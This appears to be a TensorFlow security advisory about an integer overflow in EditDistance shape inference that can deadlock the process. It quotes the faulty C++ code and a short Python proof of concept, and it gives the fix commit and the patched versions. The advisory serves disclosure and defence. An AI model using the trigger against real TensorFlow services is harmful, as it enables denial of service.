TFversion 2.11.0 //tensorflow/core/ops/array ops.cc:1067 const Tensor* hypothesis shape t = c->input tensor(2); std::vector dims(hypothesis shape t->NumElements() - 1); for (int i = 0; i < dims.size(); ++i) { dims[i] = c->MakeDim(std::max(h values(i), t values(i))); }

if hypothesis shape t is empty, hypothesis shape t->NumElements() - 1 will be integer overflow, and the it will deadlock

import tensorflow as tf
para={
  'hypothesis indices': [[]],
  'hypothesis values': ['tmp/'],
  'hypothesis shape': [],
  'truth indices': [[]],
  'truth values': [''],
  'truth shape': [],
  'normalize': False
  }
tf.raw ops.EditDistance(**para)

We have patched the issue in GitHub commit 08b8e18643d6dcde00890733b270ff8d9960c56c.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

This vulnerability has been reported by r3pwnx